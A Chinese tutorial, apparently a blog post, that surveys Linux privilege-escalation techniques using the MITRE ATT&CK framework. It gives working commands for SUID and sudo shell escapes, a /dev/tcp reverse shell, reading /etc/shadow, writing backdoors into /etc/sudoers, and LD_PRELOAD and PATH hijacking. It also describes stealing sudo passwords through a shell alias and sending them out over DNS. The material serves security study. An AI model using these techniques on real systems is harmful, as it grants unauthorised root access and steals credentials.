ATT&CK权限提升-Linux提权总结
介绍
? MITRE ATT&CK ?是一个全球可访问的基于真实世界观察的对手战术和技术知识库，本文根据MITRE ATT&CK框架总结了Linux系统下的权限提升技术，并且特指由普通用户提升到root权限的技术。
一、滥用权限控制机制
? 首先了解一下Linux下的权限控制机制http://c.biancheng.net/linux_tutorial/70/，Linux所有文件都具有访问权限，针对u：拥有者、g：组、o：other设置权限，常见的文件权限类型有：r、w、x，对应读、写、可执行权，除了这3种以外还有一些特殊权限，u中的s代表SUID权限，g中的s代表SGID权限，t代表粘滞位权限，SUDO命令则用于暂时提升用户身份。在ATT&CK框架中记录了很多提权方法，其中用于Linux的有SetUID、SetGID和SUDO。
1.SetUID和 SetGID
①提权原理
? SetUID简称SUID，当一个可执行文件被赋予SUID权限，那么用户执行此文件时，会暂时获得文件所有者的身份，一旦文件执行结束，身份的切换也随之消失。
? SetGID简称SGID，和SUID类似，当一个可执行文件被赋予SGID权限，那么用户执行此文件时，用户组会暂时获得文件所属组的身份，一旦文件执行结束，身份的切换也随之消失。
? 如上所述，SUID或SGID本身就是一种暂时提升权限的机制，不恰当得使用会造成安全隐患。对于入侵者来说，只要找到具备SUID或SGID权限的程序，并且能够操控它的执行结果，那么就可以将任意指令提升至root权限。
②提权条件
? 1.存在具备SUID权限的脆弱二进制文件
③找寻脆弱点
? 查找具有SUID和SGID的文件：
? 1.使用ls -l查看具有SUID和SGID权限的文件，SUID对应user权限中的s，SGID对应Group权限中的s：
? 2.find查找具有SUID和SGID权限的文件：
#查找同时具有SUID和SGID权限的文件：
find / -user root -perm -u+s,g+s -print 2>/dev/null
#查找具有SUID权限或SGID权限的文件：
find / -user root -perm /u+s,g+s -print 2>/dev/null
#查找具有SUID权限的文件：
find / -user root -perm -u+s -print 2>/dev/null
查找具有SGID权限的文件：
find / -user root -perm -g+s -print 2>/dev/null
③可被利用的二进制文件
? 1.对于常见二进制文件，GTFOBins上面其实已经总结的很全面了https://gtfobins.github.io/#
? 2.下面举例一个常见的可用于SUID提权的程序，其他的请参考GTFOBins：
find
? 3.如GTFOBins中展示的，find 可以使用-exec参数来执行命令，所以如果它具备SUID权限那么就可以用来提权：
#测试时先赋予find SUID权限：
chmod u+s /usr/bin/find
#查找/usr/bin下具备SUID权限的文件：
find /usr/bin/ -user root -perm -u+s -print 2>/dev/null
#-exec执行命令，参数需要以;结尾，find每次成功匹配到一个文件，都会执行该命令，使用-quit避免重复执行：
find /root/test -exec whoami \; #多次匹配到文件会多次执行whoami
find . -exec whoami \; -quit
#交互式shell：
find . -exec /bin/sh -p \; -quit
#反弹shell（注意这里一定要用-p，原因在下面解释）
find . -exec /bin/sh -p >& /dev/tcp/ip/port 0>&1 \; -quit
? 4.提权前：
? 5.SUID提权，whoami变为root，euid变为root：
? 6.SGID提权，whoami并没有变为root，但egid用户组变为了root
反弹shell踩坑及解决方法
? 1.从上面执行的结果可以看到，SUID提权时，只有euid改变，SGID提权时，只有egid和groups改变。
? 2.linux下用户/用户组有这样几个概念：
? 实际用户ID（RUID）：用于标识一个系统中用户是谁，一般是在登录之后，就被唯一确定的，就是登陆的用户的uid，也是id命令看到的第一个uid。
? 有效用户ID（EUID）：用于系统决定用户对系统资源的权限，SUID提权时改变的其实就是EUID。
? 真实组ID（RGID）：同理，也就是GID。
? 有效组ID（EGID）：同理，SGID提权时改变的就是EGID。
? 3.如果我们使用常见的bash -i 反弹shell，会出现提权失败的情况：
? 4.是因为：默认情况下 bash 在执?时，如果发现 euid 和 uid 不匹配，会将 euid强制重置为uid
? 而解决方法是使用-p参数，缺点是没有那么好的交互式，不过也能用：
2.sudo和sudo缓存
? 这里sudo是指sudoers文件，sodu缓存是指已经配置到sudoers文件中的那些命令。
①提权原理
? sudoers文件指/etc/sudoers，它管理着sudo机制。
? sudo会暂时以root身份去执行指令，和SUID一样，它本身就是一种暂时提升权限的机制，它要求用户输入当前用户的密码而不需要输入root密码。
? 和SUID提权的区别在于：它改变的不仅仅是euid，uid、gid、groups都变成了root：
? 综上所述：sudo本身就是一种暂时提升权限的机制，不恰当得使用会造成安全隐患。只要攻击者有权限修改/etc/sudoers，或sudo缓存中的这些命令可以执行任意指令，那么攻击者就可以将任意指令提升至root权限。
②提权条件
? 1.已知当前用户密码或sudoer中设置了不使用密码
? 2.sudo缓存中存在脆弱的二进制文件（就是指那些可sudo的命令）或者对sudoers文件具备写权限（默认没有）
③获取用户密码
? 我们知道，Linux系统的用户密码保存在/etc/shadow中，但对于普通用户，默认是无法访问/etc/shadow的，那我们要如何获取用户密码呢？
? 在ATT&CK框架中，有一种技术叫修改Unix shell，其分类在持久性或特权提升–事件触发执行–修改Unix shell。
密码获取条件
? 1.用户必须在sudoer组。
原理简介
? Linux下一切皆文件，当登录Linux时候，为了初始化环境变量等配置，会自动加载执行一些配置文件，其顺序是：
? /etc/profile --> （~/.bash_profile | ~/.bash_login |~/.profile） --> ~/.bashrc -> /etc/bashrc ，在退出时还会执行~/.bash_logout
? 关于这些文件的说明：(参考自https://wenku.baidu.com/view/463276fa0242a8956bece426.html)
? (1)/etc/profile：为系统的每个用户设置环境信息，当用户第一次登录时，该文件被执行，并从/etc/profile.d目录的配置文件中搜索shell的设置。
? (2)/etc/bashrc：为每个运行的bash shell用户执行此文件，当bash shell被打开时执行。
? (3)~/.bash_profile：每个用户都可以使用该文件输入专用于自己使用的Shell信息，当用户登录时，该文件仅仅执行一次，默认情况下，它设置一些环境变量，执行用户的.bashrc文件。
? (4)~/.bashrc：该文件包含专用于你的bash shell的bash信息，当登录时以及每次打开新的shell时，该文件被执行。
? (5)~/.bash_logout：当每次退出系统（退出bash shell）时，执行该文件。
? 其本身就是为了用户自定义的配置，当前用户对于这几个文件是具有读写权限的：/.bash_profile、/.bashrc、 ~/.profile、 ~/.bash_login 、~/.bash_logout 。所以通常可以利用这点来做持久化，除此之外，还可以在这些配置中加载自己的二进制程序，实现其它功能，比如密码窃取功能。
Impost3r窃取密码
? 这个工具正是利用上述原理实现了sudo、ssh、su密码窃取功能，使用方法github上已经很详细，下面就简单展示一下效果：
? （1）在vps上编译生成.impost3r
? （2）使用test用户将.impost3r下载到/tmp目录（存放位置根据配置而定）【这里有个小技巧，通过Scp去下载可以保留程序的可执行权限，wget不行】：
? （3）使用test用户备份.bashrc到/tmp目录（根据配置来定），并参照impost3r的使用方法给sudo添加别名：
? （4）当正常test用户登录并执行sudo后，会先调用/tmp/.impost3r窃取密码，再转回到原始的sudo上，最后成功窃取到密码并通过dns发送给了我们：
? 拿到了sudo密码之后，我们再考虑通过sudo提权的事情。
④找寻脆弱点
sudo -l
⑤可被利用的二进制文件
? 1.关于SUDO提权，GTFOBins上面也总结的很全面了https://gtfobins.github.io/#
? 2.下面举例几个常见的可用于SUID提权的程序，其他的请参考GTFOBins：
sudo缓存：
sudo -l 查看当前用户可使用的权限
提权姿势：
1. sudo su root #只知道当前用户密码的情况下就可以su为root
2. sudo awk 'BEGIN {system("/bin/sh")}'
3. sudo man man
在man中输入!/bin/sh 或者!/bin/bash 可进入root shell
4. sudo curl file:///etc/shadow 读取密码进行破解
5. sudo curl $URL -o $LFILE #将远程文件覆盖写入到本地，可以用来修改各种配置文件
? 3.因为前面已经输入过test的密码了，截图的没有要求输入密码：
sudoers:
? sudoers的用法：https://blog.51cto.com/zxf261/748756
? 常被用来作为提权后门，达到远控目的，如Dok木马添加admin ALL=(ALL) NOPASSWD: ALL到/etc/sudoers文件中，实现admin用户的提权后门。
#查看是否有可写权限（默认没有）
ll /etc/sudoers
2.echo写入
echo "admin ALL=(ALL) ALL" >> /etc/sudoers
3.结合sudo提权写入
sudo curl $URL -o /etc/sudoers #下载远程文件到sudoers，如果curl有sudo权限也可以这样用
二、劫持执行流程
1.动态链接器劫持
①动态链接器简介
? 动态链接器用于加载动态链接库（*.so），一般情况下，其加载顺序为LD_PRELOAD > LD_LIBRARY_PATH > /etc/ld.so.cache > /lib>/usr/lib，LD_PRELOAD和 LD_LIBRARY_PATH是一个环境变量。在Linux系统中，程序调用系统命令的方式主要有这几种：system、fork、exec加载器，它们对环境变量的继承关系是有区别的。fork从调用该函数的进程复制出子进程，它会继承父进程的环境变量；exec加载器将新程序代码加载（拷贝）到进程的内存空间，替换掉原有的与父进程一模一样的代码和数据，让进程空间运行全新的程序，需要手动将环境变量作为参数传递才能继承；system实际上执行“/bin/sh -c command”，它通过fork和exec来创建子进程。以上详细实验过程可以参考这篇文章https://blog.csdn.net/Onlyone_1314/article/details/118699481。
? 通过system和fork会继承环境变量，但对于LD_PRELOAD和 LD_LIBRARY_PATH这2个环境变量，当我们使用SUID、SUDO等方式提升权限时，LD_PRELOAD和 LD_LIBRARY_PATH会被忽略，下图展示了直接运行myprog程序我设置的LD_PRELOAD生效，加载了自己的动态链接库，但使用sudo运行时未加载（使用SUID也一样）。
? 下面做个测试，test.c程序使用fork来创建一个子进程，在父进程和子进程中都会打印出当前的环境变量。
? 编译并运行test.c：gcc test.c -o test
test.c
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
void printenv()
{
int i = 0;
while (environ[i] != NULL) {
printf("%s\n", environ[i]);
i++;
}
}
void main()
{
printenv();
printf("\n---------------------------------------------\n");
pid_t childPid;
switch(childPid = fork()) {
case 0: /* child process */
printenv();
exit(0);
//default: /* parent process */
//printenv();
//exit(0);
}
}
? 当未附加SUID权限时，父子进程都可以打印出LD_PRELOAD环境变量：
? 当赋予SUID权限后，父子进程都不包含LD_PRELOAD：
? 所以LD_PRELOAD不能像其他环境变量一样劫持。
②提权原理
? 动态链接器和环境变量劫持，都只是修改程序的执行流程，所以它本身并不能直接提升权限，需要被劫持程序自身具备高权限（如以root运行，SUID，SUDO），而前面我们分析了，使用SUID和SUDO时LD_PRELOAD环境变量会被忽略，并且普通用户也不能修改root用户的环境变量。目前可利用方式是sudoers文件，sudoer中可以配置env_keep，将环境变量传递给子进程，不过sudoer文件一般用户没有可写权限，所以比较鸡肋，下面就简单演示一下：
③提权条件
（一）用户在sudoer组，并且不知道用户的sudo密码
（二）可修改/etc/sudoers文件（默认没有权限）
③LD_PRELOAD劫持SUDO程序提权过程
? 1.现在假设我们拿到服务器的test用户shell，通过查看history历史记录发现管理员会经常执行sudo whoami命令，于是想到了劫持whoami命令：
? 2.在安装了ltrace的系统上跟踪whoami，发现它会调用puts函数：
? 3.重写puts，编译成动态链接库(*.so），利用LD_PRELOAD劫持动态链接库：
hook.c：
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
#include <stdlib.h>
int puts(const char *message) {
int (*new_puts)(const char *message);
int result;
new_puts = dlsym(RTLD_NEXT, "puts");
system("id"); //要执行的命令为id
result = new_puts(message);
return result;
}
? 编译为动态链接库：
gcc hook.c -o hook.so -fPIC -shared -ldl -D_GNU_SOURCE
? 4.通过前面的测试我们已经知道，直接通过sudo command的方式执行命令并不能将LD_PRELOAD环境变量带入，可用的方式是sudo LD_PRELOAD=xxx.so command。现在假设我们还不知道用户test的密码，所以并不能直接sudo执行whoami命令来劫持，我们想要正常的test管理员去执行sudo whoami的时候触发我们的劫持，所以需要将LD_PRELOAD环境变量设置为任何人登录都可以生效，于是参考前面SUDO提权时，修改.bash_profile设置别名来窃取密码的方式，我们也可以在.bash_profile中设置sudo别名=‘sudo LD_RELOAD=xxx.so’，这样正常test用户登录后，就有了这个别名，当他执行sudo时，实际执行的是sudo LD_PRELOAD=xxx.so：
? 5.正常管理员登录后就有了这个别名：
? 6.不过限制就来了，使用这种方式执行的时候，会和我们上面测试的结果一样，LD_PRELOAD会被忽略，会提示无权限设置环境变量或者加载失败：
? 7.解决办法就是修改/etc/sudoers（默认test没有可写权限），增加env_keep=“LD_PRELOAD”，让sudo执行时可以携带LD_PRELOAD环境变量：
? 8.正常管理员执行sudo whoami，触发了我们的劫持，在这个示例中执行了id命令，当然你也可以直接让它反弹shell：
6.PATH环境变量劫持
? 根据前面动态链接器劫持章节的介绍，相信你对环境变量劫持已经有所了解，PATH也作为环境变量的一部分，并且根据前面的测试可知：通过fork或者system创建子进程，PATH会被完整地传递。和动态链接库劫持一样，PATH作为环境变量本身也不具备提升权限的机制，需要结合SUID、SUDO等进行提权，不过好在使用SUID和SUDO时候，PATH没有传递限制，比LD_PRELOAD和 LD_LIBRARY_PATH更好利用。
①提权原理
? PATH主要用于定义可执行程序的搜索目录，可执行程序包括Linux系统命令和用户的应用程序。例如某个程序调用system(“ps”)，那么就会去PATH环境变量中搜索ps，搜索的顺序按照PATH定义的顺序（如/tmp:/usr/local/sbin，则先搜索/tmp目录，如果没有再搜索/usr/local/sbin目录），因此PATH环境变量劫持的原理就是将调用程序的路径添加到PATH环境变量的前面，让它优先搜索加载我们自定义的程序。那环境变量劫持提权的原理就是我们劫持了一个本身就具有SUID权限、root身份运行权限、可SUDO的程序。不过普通用户没法修改root用户身份运行程序的环境变量，SUDO需要知道当前用户密码，所以一般结合SUID进行提权。
②提权条件
? （一）找到一个具有SUID权限或SUDO（需要当前用户SUDO密码，有密码了一般也不需要这样提权）的程序。
? （二）strace观察程序调用了哪些系统命令/用户程序。
? （三）使用环境变量劫持这个程序并运行它。
③PATH环境变量劫持SUID程序提权过程
? 1.现在有这样一个程序test，用户test需要用它执行ps命令，并且需要SUID权限：
test.c
#include<stdlib.h>
#include <unistd.h>
int main()
{
setuid(0);//run as root
setgid(0);
system("ps");
}
? 2.编译并且赋予SUID权限：
? 3.我们拿到一个test用户shell，通过find查找具备SUID权限的程序，发现了它：
find / -user root -perm -u+s -print 2>/dev/null
? 4.将test下载到本地或在目标安装运行strace，追踪程序，发现程序执行了ps命令：
? 5.于是我们就可以劫持ps命令进行提权，直接获取到root用户的bash：
#查看当前环境变量
echo $PATH
#将/bin/sh写入到/tmp/ps，并且修改权限：
echo /bin/sh > /tmp/ps
chmod 777 /tmp/ps
#修改环境变量，将/tmp目录放到前面：
export PATH=/tmp:$PATH
#运行test程序，由于它具备SUID权限，所以劫持后成功提权：
./test
? 6.这里能看到uid、gid都变成了root是因为我们的程序调用了setuid(0)和setgid(0)，没有显示euid是因为uid和euid相同的时候它不会显示：
三、有效账户
密码破解
四、提权漏洞
? 由于咱实在是太菜了，内核原理搞不懂呀，所以就直接搬运一些文章吧。
1.CVE-2022-0847（Linux DirtyPipe内核提权漏洞）
参考：https://blog.csdn.net/WWL0814/article/details/123354623
2.CVE-2022-0185（容器逃逸漏洞）
参考：https://blog.csdn.net/Breeze_CAT/article/details/123007818
3.CVE-2021-4034（Linux Polkit权限提升漏洞）
参考：https://blog.csdn.net/weixin_42618425/article/details/122709479
4.CVE-2021-3493（Linux kernel权限提升漏洞）
参考：https://blog.csdn.net/xiaoxizainiyanli/article/details/115976549
5.CVE-2021-3156（Linux sudo权限提升漏洞）
参考：https://zhuanlan.zhihu.com/p/375577136
6.CVE-2019-13272（Linux ‘PTRACE_TRACEME’提权漏洞）
参考：https://blog.csdn.net/Kris__zhang/article/details/116643422
CVE-2016-5195（脏牛漏洞）
参考：https://blog.csdn.net/arttnba3/article/details/115773316
五、其他
? 可能看到这里的小伙伴有些疑问，还有一些网上流传的提权方式ATT&CK中并没有提及，比如mysql UDF、redis写计划任务等等，其实是因为这些提权方式要求应用程序本身以root权限运行，换言之只要程序有漏洞或有功能可以让用户执行命令、写入文件等，那么用户也就拥有了root权限，并没有从操作系统普通用户提升到root用户，所以ATT&CK中没有涉及这部分，下面就讲一些ATT&CK中找不到分类的提权方式，看看它究竟是怎么回事。
1.Docker组提权
? 如上所述，当一个程序以root身份运行，那么程序就拥有了root权限， 如果程序存在漏洞很容易导致攻击者直接获取到操作系统的root权限，因此正确的做法是以最小化权限原则创建普通用户，以普通用户身份运行程序，比如web中间件、服务器、数据库等，都以不同用户身份运行，这样即使这些软件程序存在漏洞，攻击者获取到的也只是普通用户权限，要获取root权限则再通过我们上面总结的这些方法进行提权。
? 那是不是只要以普通用户身份运行的程序就会更加安全呢？这里就出现了一个意外，Docker组提权。Docker的虚拟机是可以以普通用户身份启动的（docker run），而这个普通用户必须在Docker组里，听起来这样就会比直接以root启动的虚拟机更加安全，但事实上却并非如此。
? 我们先来做下试验：
? 1.安装docker，这个自行百度。
? 2.创建docker组和用户，将用户加入组
adduser dock
usermod -G docker dock
newgrp docker
su dock
? 3.docker组用户运行一个docker实例：
docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
? 4.这样就得到一个shell，这个shell其实是docker虚拟机的shell，这里关键点是我们使用-v参数，将宿主机的根目录挂载到了虚拟机目录，因为linux下一切皆文件，所以现在的虚拟机差不多等同于物理机了，可以看到宿主机上的文件：
? 5.所以可以得出结论，这个提权的本质是挂载目录这个功能可以让Docker虚拟机拥有宿主机文件的访问权限，不过还是会有一些写入功能会受到限制的：
? 6.为什么明明是Docker组的用户启动的虚拟机，最后却拥有了root权限，这难道不就是提权吗？其实这并不是正在意义上的从其他操作系统用户权限提升到root权限，因为架构问题，docker服务只能以root身份运行，下面我们测试使用test用户启动docker服务，也会要求输入root密码，ps查看可知它还是以root身份运行的。
? 7.最后我们在获取到的shell中执行一个test程序来观察，可以发现这个test程序是docker服务的子进程，并且也拥有root权限。所以这其实本身就是一个root权限运行的程序的一个子进程，并不是dock用户权限运行，简而言之docker组并不能提升安全性，所以这大概就是我在ATT&CK中找不到分类的理由吧~
ps aufx
